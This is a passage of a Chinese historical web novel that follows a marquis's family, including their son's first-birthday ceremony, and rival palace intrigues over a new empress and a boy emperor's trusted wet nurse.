万珍珠能说什么吗? 只能说夫君够胆大,够胆肥,还是锻炼了一下好大儿的大胆子。 从小锻炼,将来必是一幅好心脏。 至于问万珍珠的心里想法?万珍珠太清楚,枕边人是习武之人。 那臂力好着,她是不担忧的。 至于让万珍珠自己跟好大儿玩举高高的游戏? 万珍珠是不成的。她有心,也无力。 男娃娃嘛,调皮些,不,应该说玩一些刺激的游戏真无妨。 反正小孩儿不怕,真敢玩,爹娘敢让人玩。 万珍珠能怎么办?当然让父子二人玩一个开开心心。 等着父子二人玩得开心了后。 万珍珠才是喊了话,道:“安康,今个至这里了。” “瞧瞧,你出汗了。得沐浴,不可穿了湿衣,染了风寒。” 万珍珠这话不是提醒好大儿的,而是提醒了枕边人的。 这不,瞧着小孩儿玩得开开心心,额头见汗了。 赵济世也不继续了。 “夫人,我陪安康去沐浴。” “好。” 万珍珠不拒绝了这一对父子一起沐浴一番。 反正亲爹乐意给孩子洗一洗,万珍珠巴不得这一对父子的感情越来越好。 等父子二人去沐浴,不,应该说当爹的领了孩子去玩水。 反正沐浴肯定是沐浴的。玩水嘛,顺道的事情。 万珍珠跟身边的丫鬟吩咐一番,还是备了吃食。 一家三口一道用饭,不过寻常事宜。 这一日,等着食罢。 万珍珠陪着父子二人一起消消食。这会儿的赵济世心情非常好。 哄一哄小孩儿,等着安康到睡觉的时候。一家三口就先去小孩儿的房间 。 等安康被哄睡后,夫妻二人才离开。 慢步而走,夫妻同行。 等着回了寝屋,又是打发走侍候的丫鬟婆子后。 屋内,夫妻二人独处。 这会儿万珍珠讲道:“济世哥哥,今个儿我在孔府遇上天使来降圣旨。” 万珍珠说一说孔四姑娘要做中宫皇后的事宜。 “这是一桩大事。”赵济世感慨一回。 “是啊,陛下要册立了新的中宫皇后。”万珍珠也是讲道:“只是宫里的二妹妹那儿。” 万珍珠话至此,又停顿下来。 赵济世听懂了枕边人的想法,他讲道:“二妹妹那儿,必是能想通的。” 想不通又能怎么办? 谁让马小莲的出身摆那儿,想当中宫皇后,可不是容易的事情。 万珍珠当然也懂夫君的想法。 “我只是心疼了二妹妹。”万珍珠说的实在话。 若是马小莲不是义妹,而是小姑子。 赵济世的亲妹妹的话,那可能,不,也是有一点点可能肖想了中宫皇后的位置。 毕竟这是承顺帝迎娶了继室。 奈何马小莲的亲兄长是马义,这马义的官帽子还是低了一些。 这册立中宫,从来是看了女子如何。而是看了女子的背后如何。 万珍珠跟夫君又是讲一讲中宫一事。 当然,也便是讲一讲。这一回的事情,赵济世不掺合。 “也罢,我们不掺合,倒是好事。”万珍珠觉得不掺合,也是少一些的麻烦。 “只是……”万珍珠迟疑一下后,才是说道:“我想着,等宫里召见时。我们是不是给二妹妹添一些帮衬。” 这添的什么帮衬,当然是银子。 有银子开道,这钱财在手,想干什么,总是方便一些。 “二妹妹那儿,珍珠妹妹你看着安排便是。”赵济世是一幅相信妻子的态度。 “不提朝堂上的事情。”赵济世揽了妻子入怀中。 “这等良辰美景,我们可以干一点更好的事情。”赵济世笑道。 “哦,何事?”万珍珠挑眉,还是给了丈夫一个风情万种的眼神儿。 “比如给安康添一个弟弟,又或添一个妹妹。”赵济世提议道。 万珍珠听懂了,这是想造小号了。 “这真是给安康添一个弟弟,又或添一个妹妹。”万珍珠话至此,还是伸了舌头。 她轻轻的划过了唇畔。 尔后,又是咬一咬唇畔。万珍珠说道:“这可不是我一人努力,那就能成的事情。” “当然,我助了珍珠妹妹。”赵济世揽了妻子,揽入怀中。 这会儿的夫妻二人,那是心头起火。毕竟造小号这等事情嘛,夫妻同心,才可能成功的。 对于造小号,不止万珍珠有心,赵济世更是有行动力的很。 第86章 “啊啊。”又是一日好时节。安康在哄自家亲娘。 “娘。”小矮墩唤了一声。 他不止唤了话,还是抱了亲娘的小腿,那是抱的一个起劲儿。 介于此,万珍珠伸手,她抱起了自己家的娃娃。 “沉沉的。”万珍珠感慨一回。 “不过,安康的身体倍棒,真好。”哪怕胳膊里的份量重。可万珍珠还是觉得很好。 能吃能睡,又能跑能跳的小娃娃,活泼可爱,讨人欢喜。 大赵朝,燕京都,皇宫,凤仪宫将迎来新的中宫女主。 对于马婕妤而言,这是一桩大事。 有皇后,跟没有皇宫的宫廷内苑是不一样的。 可这些马婕妤是做不了主的。 马婕妤这会儿在盘帐。盘一盘自己的小金库。 宫外,义兄们的贴补,由着嫂嫂送进宫里。 不止义兄赵大哥夫妻的贴补,还有亲哥马义和嫂嫂沈氏的贴补,马小莲这一位婕妤也是收到。 如今的马婕妤私库算着丰厚。于此,对于身边侍候的宫人当然也是出手大方。 一个大方的上司,总会让手下满意。至少明面上,处处是好人缘的。 “婕妤。”身边的大宫女禀话道:“明个,新唐侯夫人会进宫。您瞧,这是明个的传膳单子,请您过目后,奴婢便跟御善房提前递了消息去。” 马婕妤有打算,明个不止见一见嫂嫂万氏。还想留了嫂嫂万氏用饭。 对此,马婕妤在皇帝跟前是求过话。也征求了承顺帝的同意。 “我瞧瞧。”马婕妤接过大宫女手头的单子。 瞧过后,很满意。 “不错,按这一份单子传膳吧。”马婕妤吩咐一句。 “唯。”大宫女应下话。 这会儿的马婕妤是想着见一见嫂嫂万氏。 在宫廷内苑的日子,于马小莲这一位婕妤而言,有一点难熬的。 比起如今的日子,马小莲更怀念了在北镇的美好时光。 次日。 万珍珠进一趟宫廷。 对于马婕妤留膳好意,万珍珠没有拒绝。 不止人来了,陪吃陪聊。同时,万珍珠也是又递一份贴补。 这是新唐侯府的一份心意。 对于义兄与嫂嫂的美意,马婕妤不拒绝。 或者说马婕妤就是这般的性子,亲人待她好,她一定收了。 可在心底,马婕妤是记着情份的。 马小莲就盼着,她若得晋位份,将来能帮衬了义兄与嫂嫂们,又或着能帮衬了侄儿侄女们。 马小莲巴不得。她可盼着给娘家多使力的。 毕竟在马小莲的心里,娘家亲人待她也是一片心意。 “嫂嫂,这是我的一点子心意。给安康侄儿的。”马小莲把备好的周岁生辰礼拿出来,她递给嫂嫂万氏。 “那一日,我不能亲自到场,颇是遗憾的。”对于马小莲而言,她是真遗憾。 “姑母给侄儿的心意,我得替安康收下。等安康懂事了,还得给安康说一说姑母的一片美意。” 万珍珠笑着讲话道。 这会儿的马小莲很人兴致问一问,问了嫂嫂关于侄儿的趣事。 “……”万珍珠瞧着马小莲待小孩儿的话题有兴致。 万珍珠就是小声提一句,道:“婕妤爱孩子,不若求一求送子娘娘,早些诞下了子嗣。” 对于万珍珠而言,她是真盼着马小莲生下子嗣。 不为旁的,只瞧着马小莲爱孩子,一心乐意当一位好慈母。 这一点子心思没瞒人,当然是成全了为好。 只是送子娘娘的事情,这得看缘份。万珍珠只是凡人,能怎么办? 只能劝一劝马二妹妹,那是好好的调养身子。 许是缘份来了,殷殷期盼的子嗣就来了。 “不瞒嫂嫂,我也盼着孩子的。”马小莲伸手抚了小腹。 在薨逝的承顺帝继皇后的国孝结束后。 马小莲是侍寝了。可侍寝了,要说多得圣宠,也不是的。 马小莲在承顺帝跟前有两分体面。也只两分。 再多,便属于平平无奇一辈。 马小莲在这等情况下想怀上皇嗣,她觉得难。 只宫廷内苑,有了恩宠,也有一二分体面。 马小莲就不想跟亲人讲述了自己的委屈。 毕 竟马小莲太清楚了,她这算委屈。那些低位嫔妃,不见天颜的怎么办? 那是委屈死了,没法子活了不成? 只能说日子嘛,在宫廷内苑里活着,没有最苦,只有更苦。 马小莲是一个活得有灵性的女郎,她不想跟上位者比,怕心生贪婪。 于是她是多瞧一瞧在苦日子里熬的宫人们。 这一瞧,那心态便是平衡了。马小莲觉得这日子的“苦”楚,貌似也不是那么的苦涩了。 秋,九月九,重阳节。 大赵朝,燕京都,新唐侯府。 这一日,侯府大宴宾客。只为一事,便是小世子安康的周岁宴。 周岁宴,对于小儿而言是一个非常重大的日子。 一辈子就一次的拭儿礼,也算是一次预演。 求一个人生的吉兆。算是一种安慰? 不,更像是一个小娃娃对于亲朋故旧们的宣言,某一家添丁了,前程可期待。 “安康侄儿真活泼。”沈氏瞧着义兄家的大侄儿,还是夸一夸。 “瞧瞧眉眼,多像大哥。”沈氏感慨一回。 “对,侄儿像着大哥。” “这娃像他爹。”卢泰山的媳妇也是跟着赞同一回。 万珍珠跟弟妹们唠叨一番,也是说一说小儿趣事。 尔后,她请了诸弟妹帮衬。 毕竟今个太热闹,万珍珠请弟妹们帮衬着招呼了来客里的女眷们。 有这般多的帮衬人手,还是自家亲近的亲人。 万珍珠当然不会撩开不用,没这等道理。 对于大嫂万氏的请求,诸弟妹们当然不会拒绝。毕竟,这也是扩大了女眷圈子的好机会。 双赢的事情,彼此都乐意的很。 周岁宴很热闹,来客也多。赵济世与诸位义弟们在招待男宾。 女客这一边有万珍珠与诸弟妹们招待,也是一一慎重的很。 对于安康而言,他是今个的主角。自然是被妥妥的收拾一番。 穿着小号的小世子锦服,一个小娃娃做了大人的装束。 瞧着嘛,越瞧越可爱,越瞧越喜欢。 等着吉时到。 万珍珠做为孩子的亲娘,她抱着孩子登场。 赵济世给在场请人做了开场白,不过是感激一回。 等着主持的吉祥人,开场唱了祝词后。 这周岁的拭儿礼便是正式开始。这会儿的万珍珠是把孩子轻轻的搁在地毯上。 地毯上,还是摆着拭儿礼的诸器具。有小号的毛笔,小号的刀剑等等。 不止如此,还小号的书籍,小号的算盘等等。 总之,拭儿礼能用的,拭儿礼不能缺的,地毯上全都有。 安康周岁小儿,他会走路的。跑一跑,也能成。 虽然跑快了,那容易摔一摔。 可安康从来不怕摔,这孩子的性子稳重又爱笑。 对于陌生人太多,安康这会儿被亲娘一搁。 他有一点怕怕。 越是怕,安康越是严肃脸。一严肃脸,那小孩儿就更可爱了。 毕竟娃娃学大人,落在大人们的眼中,那是最讨喜不过。 “安康,快,去拿了喜欢的。”万珍珠指着桌上的东西。 安康瞧一眼四周,最后,他的目光落在爹娘身上。 安康伸手,他想要抱抱。 赵济世伸手,抚一抚自家好大儿的头顶。 “安康,听你娘的话,快,去拿了喜欢的。” 赵济世跟妻子一样的态度。 许是瞧明白亲爹亲娘的态度,安康没得着抱抱。 于是他扭一扭小身子,尔后,在地毯上走了起来。 小步子一迈,小娃娃一张严肃脸。 那萌萌的作派,让万珍珠瞧着是心底一片的柔软。 当娘的感觉,真好。这是万珍珠的真实感想。 安康一个小娃娃,被周围众人观注。他虽然有一点点的小紧张。 可小娃娃是不怕的。 安康瞧着入目的众乐器物。安康伸了小手,一手拿了一个小印。一手拿了一把小弓。 那弓,安康拿着后,还是往亲爹这儿送。 至于那一个小印,安康揣一揣,揣进了自己的兜兜里。 等亲爹接过了好大儿给的小弓后,安康又走着小步伐,去拿了一本《孝经》,尔后,他将书籍递给了亲娘。 “娘,给。”安康的声音带着奶味儿的小萌音。 在小娃娃的记忆里,娘总是拿着书籍念给他听。 于是在小娃娃的印象里,娘爱书。 这不,拿着书籍,小娃娃就递给了亲娘。 万珍珠接过了小小一本的《孝经》。她这会儿也是开心的。 吉祥人在旁边唱着祝词,道:“小世子拿官印,官帽头上戴,福禄绵绵长。” “小世子拿长弓,勋爵军功贵,不忘祖宗业。” “小世子拿《孝经》,孝心感天地,孝顺爹娘恩。” 此时此刻,吉祥人唱了好祝词。在场的宾客们自然也捧场,也是一一说一些吉祥话。 在场诸人,谁都是捡着好话讲。 入目之中,万珍珠听着的全是好话。这让人听着,忍不住的笑了。 笑的开心入眼眸子的深处,实是真欢喜的。 一场拭儿宴,一场皆大欢喜的聚会。 待拭儿宴的抓周礼一过。做为主角的安康被抱回住的后宅里。 此时,自然是东道主宴请诸宾客吃一吃席面。 聚会嘛,不外首,吃吃喝喝。聚一聚,大家伙闲聊一番。 至于送诸宾客之后,自家人还是再聚一聚。 赵济世这儿,他与诸义弟在前院里,在书房里也谈一番话。 赵济世与诸义弟们目前的情况皆不错。特别是赵济世做了兵部尚书后。 那官威上来了,这是小事。 拿着权柄,不说谋私利。可顺道的,那是替自家办一点小事。 只要合乎了法理,赵济世不是不通融的人。 “恭喜大哥。” 诸义弟是一样的态度,都是恭喜的好大哥。 赵济世也开心。瞧着长子周岁了。小儿一天一个样。 能快快长大,平平安安,这是当爹的心愿。 秋日,新唐侯府一场拭儿礼。 也是秋日,中宫迎来孔皇后。 万珍珠是命妇,是诰命。关于孔皇后的册封大典。万珍珠当然是要参加的。 毕竟向皇后参拜大礼,这是大事。万珍珠避不得。 皇后受领诸诰命夫人的跪拜大礼,这也是中宫皇后的荣耀。 命妇皆于脚下臣服,对于皇后而言,也是一桩人生快事。 做人上人的感觉,从来美妙的很。当然,做人下人的感觉,一般不会美妙的。 宫廷内苑,凤仪宫。 万珍珠不是头一回来。可惜,再来,凤仪宫已经换了主人。 大赵朝册立新的中宫孔皇后。 大晋朝,镐京都,内城,浑江公主府。 万忠良回一趟府邸,陪一陪妻子。同时,也是安慰了妻子。 牛二囡得着女儿的家书,听过女儿的劝。 她的心思是动摇的。这不,牛二囡又跟身边的丈夫讲道:“珍珠一片孝心。夫君,要不,我们去燕京都生活吧。” 在燕京都也有富贵日子,牛二囡是想见一见孙儿辈的安康。 享受天伦之乐,这是牛二囡期盼了太久的事情。 盼一盼,这盼成了执念。 万忠良摆摆手,示意侍候的丫鬟婆子全退下。 剩下来夫妻二人后,万忠良说道:“你糊涂。” “咱什么身份?”万忠良问道。 “……”牛二囡沉默。 “咱是闺女的亲爹,闺女是新唐侯夫人。咱在大晋,那是内相。咱去大赵,就成了一个缺了根的太监。” “你说说,你想女儿是大晋的公主,要这一个公主身份。还是想让女儿被人蛐蛐,说是一个太监的女儿,上不得台面。” 万忠良一番话,越是说,越严厉。 “……”牛二囡本来想开口的,瞧着丈夫的态度。她又闭嘴了。 “你莫怨咱,让你在府里过日子觉得寂寥了。”万忠良叹息一声。 “咱是为了小辈好。”万忠良的眼中有疲惫的神色。 一朝天子一朝臣。 洪福帝在时,不,应该说先帝在时。万忠良从来不愁宫廷之事。 那会儿的帝王信万忠良。 可如今的情况变了,小皇帝太年幼了。李太后与小李皇后把持着宫廷内苑的宫权。 万忠良这一边,瞧着小皇帝还信任于他。 可在心头,万忠良太清楚,这一份信任不够的。 小皇帝貌似更相信了外祖家的王国舅。又或者是宫廷内苑里的身边近侍与奶嬷嬷。 对于那些近身侍候小皇帝的人,万忠良没动的心思。 万忠良瞧的出来。那些人手,有先帝留的,有王国舅送去的。 那当然,也有李皇后塞的心腹。 总之,那些人, 可能是忠心于小皇帝的。可背后嘛,总有一个真主子。 在这等混水里,万忠良累了。可他撑着,也是想着撑了一份体面。 至于去女儿那里养老?万忠良不想。 万忠良还想多给女儿和孙辈们积赞了家业。 家业,当然是越多越好。 同时,万忠良也是瞧着,李太后有心,那是一直拉拢于他。 谁让李太后在朝堂上,那还是势弱的一边。 镐京都,皇宫,昭阳宫。 李太后与小李皇后一起,二人在吃茶。 昭阳宫,如今是李太后住着。这一位太后娘娘不挪窝。 于是小李皇后是跟小皇帝一起,还是住了泰和宫。 “和贞,你跟天子一定要好好的。”李太后劝道。 真是劝。 在李太后瞧来,昨个皇后跟天子闹一场,没那必要。 “我听姑母的。”小李皇后应一回话。 “姑母……”小李皇后虽然应了话,这会儿又是神色变一变。似乎有话想讲。 李太后摆摆手,让殿内的诸人退下。 小李皇后见诸宫人退下了,殿内剩下姑侄二人。 小李皇后讲道:“姑母,不是侄女任性。而是陛下跟前,有了媚主之辈。” “一个奶嬷嬷的女儿,让人心急了。”李太后问道。 小皇帝跟前,奶嬷嬷的亲闺女当了近侍宫人。 这等近侍宫人陪了帝王玩耍,照料帝王生活事宜。 这让小李皇后心里扎了一根刺。 青梅竹马,这等好感情可是小李皇后的向往。 多插一个人,那算什么? “你糊涂。”李太后却道:“不过一介宫人。你不在意,当个物件就是。” “你在意,你跟天子闹腾,那才是抬举。”李太后对于侄女的闹腾,那是不满意的。 “真不喜,寻着机会打发了就是。”李太后给了自己的态度。 “只你得注意。一个小宫女打发前,她的生母,天子的奶嬷嬷你又如何打发走?”李太后问道。 这才是李太后在意的。 对于李太后而言,那天子的奶嬷嬷更可恶一点。 “……”小李皇后沉默了。 “你啊,应该装聋作哑的时候,又是扮了精明。”李太后虚虚一指,似是虚点了一下侄女的额头。 这会儿李太后也心烦。 朝堂上的事情,李太后得操心。宫廷内苑,关乎天子近前的事情,李太后还得操心。 可最重要的在于,母子之情,李太后得维持好。 谁让李太后不是天子的生母,她只是嫡母。 这一个嫡母,还是继母。这身份很尴尬的。 天子与太后的母子情份,中间靠着什么维系? 除了名份,还有帝后二人的情份。 对于帝后二人的情份,李太后看得极重。 只不打发了天子跟前的奶嬷嬷,怕的就是伤了情份。 或者说那奶嬷嬷的背后,也是有人的。那王国舅在里面扮演了什么样的角色? 李太后可是关注着的。 镐京都,内城,简亲王府。 简亲王在书房里跟幕僚商量一些朝堂上的事宜。 只在幕僚退下后,简亲王在看了一些衙门的公文。 对于简亲王而言,早些年,不得重用。 在洪福帝晚期,才是提拔于他登高位。一朝先帝驾崩,简亲王成了宗亲代表的顾命大臣。 如今也算是一人之下,诸人之人的位置。 拿了大权在手,简亲王的日子很好过。就是这般的舒坦,权利在手。 简亲王不是想放弃了权柄的。因为曾经没拿捏过。 如今一朝拿在手,他不想放手的。 “王国舅,李太后……”简亲王念叨了二人。 朝堂上,这二人是掀不起大浪。或者说有简亲王在平衡。 可宫廷内苑嘛,简亲王是听着不少的风声。 不止是简亲王府的势力在打探消息。简亲王还有一位好闺女。 林江郡主早些年,那是一直巴结宫廷内苑的红人。 谁红,谁得圣宠,林江郡主都是巴结的起劲儿。 那时候的林江郡主是积赞了太多的人脉。这不,宫廷内苑的一些消息。 简亲王在女儿那里,也是得了耳朵与眼睛,那消息灵通的很。 “来人。”简亲王似乎是拿定了主意。 “去,差人请郡主回府。本王要见一见闺女。还要留了闺女和外孙小住几日。” 有简亲王的吩咐,心腹小厮赶紧应话,尔后,去办了王爷吩咐的差遣。 林江郡主府。 待林江郡主得了父王那一边的消息后,她是开心一回。 做女儿的得了亲爹的爱护,一直又沾了娘家的光彩与庇护。 在林江郡主的心里,娘家是重要的很。 这会儿林江郡主便是等一等,等了下学的好大儿。 尔后,母子一道去了简亲王府小住。 回娘家嘛,林江郡主熟悉的很。 只这一趟回娘家,林江郡主享受了一回娘家的柔情蜜意。 甭管哪一位长辈也罢,平辈的哥哥嫂嫂也罢,又或者小辈的侄儿侄女。 谁待林江郡主母子都是亲近的很。 在娘家的日子,让林江郡主恨不能常住。 只是出嫁的女儿,真是常住娘家。林江郡主又怕惹了闲话。 不为旁的,只她爹堂堂亲王,又是顾命大臣。这得要脸面啊。 林江郡主心有在意的一切,她当然也得要脸面了。 夕食罢。 简亲王留了儿女说说话。 简亲王关心一番儿子衙门的事情。林江郡主也是旁听一回。 尔后,简亲王又顺道的说一说宫廷内苑的事情。 “女儿,听说你常得太后娘娘的召见?”简亲王问了闺女。 “太后娘娘仁慈,召见女儿,也肯定是看了父王的体面。”林江郡主笑道。 对于自己几斤几两,林江郡主有数的很。太后瞧重她? 不如说瞧了她爹的份量上,才是乐意多给她几分体面的。 “既然太后娘娘乐意亲近你,这是好事。”简亲王笑道。 第87章 大赵朝,燕京都,皇宫,凤仪宫。 秋日好时节,孔皇后召见诸位诰命。万珍珠只是诸诰命里的一员。 不过嘛,来了凤仪宫,万珍珠发现皇后娘娘待她特别是热忱。 得皇后高看一眼,于是,在聚会之时。万珍珠身边也是围了不少的女眷。 当然,这一场聚会最引人的焦点只能有一个,便是孔皇后。 “侯夫人万福。” 已经嫁给常二公子的崔八姑娘,不,如今应该叫宁国公府的二少夫人崔氏。 崔氏陪着婆母宁国公夫人进宫的。她的嫂嫂世子夫人不曾进宫。 不曾进宫的原由也简单,怀孕了,临近产期。 如今不便出门,便是由新妇崔氏陪了婆母进宫来。 进宫前,崔氏还得了嫂嫂的叮嘱。 在公府下人们的眼中,进宫一趟,挺 是荣耀的事情。 毕竟只要跟皇宫与皇权沾一边儿,落世人眼中就是了不得,光宗耀祖一般似的。 “崔妹妹。”万珍珠笑道:“你这般唤我,倒是生疏了。” “万姐姐。”崔氏也换了称呼。 “往常去侯府做客,自然随便些。今个在宫廷里,倒是我拘谨了。”崔氏回话后,又是道歉一回。 二人说说笑笑,此时,有宫人相请。皇后娘娘摆的宴会,自然是吉时到了。 宴会开始。 这会儿客人三三两两入席。万珍珠是侯夫人,她与宁国公夫人的位置相距不远。 于是这跟崔氏的距离也便是挺近的。 皇家宫宴,自然有舞姬贺舞,乐坊奏曲。一时之间,恍若仙境一般。 至少在吃席时,还是听一听音乐。在万珍珠瞧来,难得的享受。 许是心情好,万珍珠真是享受一番。 宴至中途,孔皇后挥退了舞姬的献舞。留了乐坊继续奏曲。 此时的皇宫娘娘领衔,还是请在场的诸位夫人行一行酒令。 对于聚会雅事,在场的诸夫人不会拒绝的。 倒是万珍珠与崔氏凑近些。她笑道:“我一介俗人。尚缺些急智。崔妹妹,可与你求了方便。” 对于跟崔氏拉拢关系一事,万珍珠心头有事。 不止如此,她跟丈夫赵济世也嚼过话头。 在丈夫赵济的话中,万珍珠是知道的。枕边人在燕京都的行事是不得罪了人。 能与人交好的,一定是交好了。真是上面有指令的。 那肯定是想法子了。若对方有罪,那就让对方不得翻身,打落尘埃。 如此之辈,赵济世才会踩得狠。 若是对方,不过小小的吃一些亏。赵济世宁可退一步。 或者说赵济世这见风使舵的态度,那真是跟走钢丝一样。 毕竟这等态度,那不能示于明面上。 万一让承顺帝不顺眼了,做为新贵的新唐侯府可容易吃挂落。 介于此,赵济世在朝堂上也是烧过新官的三把火。 只是火如何烧,如何灭。 这里面的文章有得说,赵济世拿捏的好。毕竟从底层厮混上来,不,应该说杀上来的厮杀汉。 赵济世拿捏火候的功夫很足。办事嘛,从来是刀切豆腐两面光。 万珍珠就不成,她的火候拿捏,还是差一些。 于是夫妻二人办事,从来是有商有量。 万珍珠需要枕边人给她指一指风向。也免得夫妻办事,还是闹出来乌龙。 那就没必要了。 行酒令。万珍珠给自己找了替补与代打,有崔氏帮衬。 万珍珠这会是平平无奇,不出彩,也不落面儿。 总之,这一日的宫中聚会,万珍珠瞧着不错。 玩儿,也是玩得开开心心。 等着聚会结束时,孔皇后留了客。万珍珠是被留下来的一员。 前头离开时,也得了皇后赠礼。不过,礼嘛,普普通通。 倒是如此又留下来的一拔人。这会儿得着孔皇后的赠礼,又是厚重三分。 这等体面,不止给了参加宫宴的女眷。更是给了这些女眷背后的男人。 这是皇家给勋贵与重臣们的脸面子。同时,也是孔皇后在宣誓了她的存在。 新皇后,新中宫,上位了,给下面发一波的福利。 这般的好皇后在燕京都的名声,那可谓是好得很。 哪一家的诰命嘴里,一旦讲了孔皇后的评价时。从来只有夸,没半个字眼儿的不好。 万珍珠也不过是随大流,从众人的态度一般样子。 冬,天寒了。一场雪后。 万珍珠搂着自家娃娃,已经过周岁生辰的好大儿安康一起赏雪景。 “瞧瞧。安康,那是雪人。”万珍珠指着窗下,那堆得大大的雪人。 安康趴在亲娘怀中。他的眼睛一直盯着雪人,不肯眨巴一下的小模样,真是讨了人爱。 “雪,雪。”安康喊话道。 他伸了小手,食指是指向了雪人。他道:“玩。” 安康想去堆雪人,他想去玩。小孩儿的世界很简单。 好吃,好玩,好睡。 安康的心里,爹娘对他好,他有什么话当然跟爹娘讲。 这不,安康就是小嘴巴巴的跟亲娘央求了话。 “娘,玩,玩。”安康指一指雪人,又用无辜的小眼神儿望着亲娘。 “好,玩雪人,堆雪人。”万珍珠笑道。 虽然应了小孩儿的话。可应该的保护,那不能缺了。 这不,把小娃娃包裹着,穿戴成一个大大的虫茧一般。 小娃娃安康被包裹着,头上有帽子,嘴巴有围脖。 身上穿着厚厚的冬衣。脚上还有厚厚的毛靴子。 小家娃这一包裹,他明明会走路了。 这时候一走到外面,他还是小步伐走得不太稳。 哪怕不太稳,被风一吹,似乎跟屋里的暖和不一样。 可这一份不一样,还是让小娃娃安康可兴奋了。 万珍珠只陪着自家好大儿堆了一个小雪人。 尔后,万珍珠就拿吃食哄了自家好大儿回屋里。 在外面待的时间不算太长。 等着回了屋里,又是自家娃娃暖手暖脚。 哄着小娃娃喝了去寒气的羹汤。再是哄着小娃娃玩一玩游戏。 跑一跑,跳一跳。 亲子游戏,母子二人玩得可欢乐了。 等赵济世回来时,瞧见的便是母子二人的嬉戏。 “爹。”安康一瞧见亲爹,他开开心心,小步快跑。 一凑近亲爹,安康抱住亲爹的小腿。 小娃娃太矮,如今能抱着的只能是亲爹的小腿儿。 “爹,抱。”安康讲道。 “好,爹抱一抱。”赵济世笑着抱起好大儿。 “举高高。”安康对于举高高这一个游戏,他是百玩不腻。 对于好大儿的请求,赵济世一点不拒绝。 毕竟进屋前,赵济世已经在仆从的侍候下,那是去了大氅。 此时,赵济世的身上寒意消了几分的。抱一抱孩子,跟孩子亲近一二。 赵济世很乐意的。 满屋之内,父子玩得开开心心,小孩儿安康的笑声,那是一时间带着“哈哈哈”的笑声。 万珍珠只静静的瞧着这一切。颇得几分岁月静好的感觉。 次日。 赵济世去上差了。万珍珠陪一陪好大儿。 上午时分,万嬷嬷递了午饭的安排,跟当家主母问一问。 对此,万珍珠觉得午饭安排不错,不需要更改什么。 就跟万嬷嬷示意诸事皆可,非常满意。 “嬷嬷安排,我最放心不过的。”万珍珠笑道。 话罢,在万嬷嬷应下时。 万珍珠突然觉得胸口有一点抽痛抽痛的感觉。 万珍珠伸手,她是捂了一回胸膛。 “为何……”万珍珠呢喃二字。 就像是莫名其妙一般,万珍珠觉得心口疼。 大晋朝,镐京都,皇宫,昭阳宫。 李太后很生气,这会儿陪嫁李嬷嬷在旁边也尴尬。 “太后娘娘,皇后娘娘一时气不过罢了。皇后娘娘孝顺,岂会跟您真较劲儿。”陪嫁李嬷嬷很想劝一劝太后。 奈何太后刚跟皇后吵了一回。人姑侄二人斗法。 李嬷嬷是不敢掺合的。 甭管李太后,还是小李皇后,李嬷嬷做为大赵皇族的仆从,她谁也得罪不起。 “哀家瞧着,皇后不是糊涂,她是骄纵的很。” 李太后没眼瞎。她也不心盲。关于小李皇后的行事作风,李太后不是没劝过。 而是李太后劝不住。小李皇后的性子,总让李太后为难的很。 “一个天子跟前的奴婢,也不知道她在计较什么。” 李太后顾及了王国舅等人,真不想为着一个奴婢的小事,那是跟天子斗气。 打老鼠怕伤玉瓶,何况,这“玉瓶”还是天子这般的尊贵人物。 李太后真怕伤了母子之情。奈何小李皇后胆大的很。 “瞧瞧皇后,哪曾有半分的悔意。她啊,就是糊弄哀家。”前面,李太后跟小李皇后点拔过。 那会儿小李皇后答应的多好听。 结果呢? 也不过才小两月的时间。那天子信任的奶嬷嬷的闺女,入冬后,病一场。 如今人没了。 说是病逝,这是太医给的结果。 可真相如何? 有些真相当然是不能翻出来的,不然,容易闹出事情来。 “……”李嬷嬷瞧着太后的生气,她还想劝。 结果,劝无可劝。或者说李嬷嬷不敢劝,她怕踩了雷。 皇宫,泰和宫。 同福帝,或者说来年,同福这一个年号才会正式使用。 如今的小天子跟前,自然不缺着信任之人。 梁嬷嬷是小天子的奶嬷嬷。他打小养在泰和宫。 这身边最信任的便是梁嬷嬷。 因为小天子吃着梁嬷嬷的奶长大,同时,梁嬷嬷待小天子的关心,让小天子感受到了母亲的亲切感。 至于小天子的生母仪贤王皇后? 这一位王皇后可没能亲近了亲生的儿子。毕竟那会儿的洪福帝,也就是 先帝对于王皇后不是太满意。 小天子在亲娘身上,那没享了母爱。这感情自然就会转移。 对于梁嬷嬷,小天子既信任,也爱重。这是一种母爱的转移。 对于梁嬷嬷的女儿,小天子不止了奶嬷嬷的女儿看待。 那一个漂亮又聪慧的小姑娘,与他还是同岁。 在小天子的眼中,这是能相伴一辈子的人。 虽然一辈子有多久,有多长,小天子有一个大概的念想。 可在他心底,陪在身边的怜儿,便是梁嬷嬷的女儿。这一个好女郎,那是心头有一角重量份额的存在。 有皇后,有嫡妻。小天子是皇帝,在他心中。 待将来,总要给怜儿一个嫔妃位份。 旁的不说,一个贵妃。在小天子的心里,怜儿这一个陪伴左右的宫女,总是当的。 毕竟小天子,那也是天子。天子在意自己的权威。 哪怕年小,也是一样。 或者说这不是什么男女之情,而是玩伴的一种陪伴。 同时,也是一种移情的作用。 在奶嬷嬷身上,小天子感受到了母爱。可有些话不能讲出来的。 给奶嬷嬷的嘉赏,小天子也不能做过头。 那么,不能赏给奶嬷嬷的一切,小天子便是愿意给了奶嬷嬷的女儿怜儿。 奈何,这一份感情在中途夭折。怜了病逝。 人嘛,活着就有缺点。死了,反而可以完美无缺。 怜儿在小天子的心里,便是那一个完美无缺的存在。 特别是小天子的跟前,有人煽风点火的时候。 “舅舅。”小天子听着亲舅舅的话。他左右为难。 年岁太小的小天子,他当然是信任舅舅的。 娘亲舅大。 这舅舅与外甥有血源关系。在朝堂上,也是王国舅一直站了天子一边。 总之,宫廷内外,在小天子的耳边,谁都会说了王国舅的好话。 于是时间越久,小天子越加信任亲舅舅。 对于李太后和简亲王,这二位顾命大臣。小天子的信任要打一个折扣。 可对于亲舅舅,小天子信任的无以复加。 “朕再想想。”小天子说道。 “陛下,万事当有决断。拖来拖去,恐成大患。” 王国舅继续劝道。 “……”小天子的目光游离。他一个小郎,哪怕坐于至尊之位。 他真的不懂一些大道理,或者说,小天子跟前太多人跟他讲大道理。 这左有理,右有理。小天子不知道应该信? 或者说应该听谁的。 “陛下,奴婢僭越。”梁嬷嬷在小天子央求的眼神里,她开口了。 梁嬷嬷一开口,小天子就像是寻着主心骨。 “嬷嬷,你说。”小天子让梁嬷嬷开口讲话。 王国舅表现不动声色,在心头,他给梁嬷嬷记一笔。 王国舅心想,这一个老妇一直留了天子跟前,也成祸患了。 看来得想法子了,真是留不得。 当然,越是想着不留了梁嬷嬷,王国舅越是冷静。 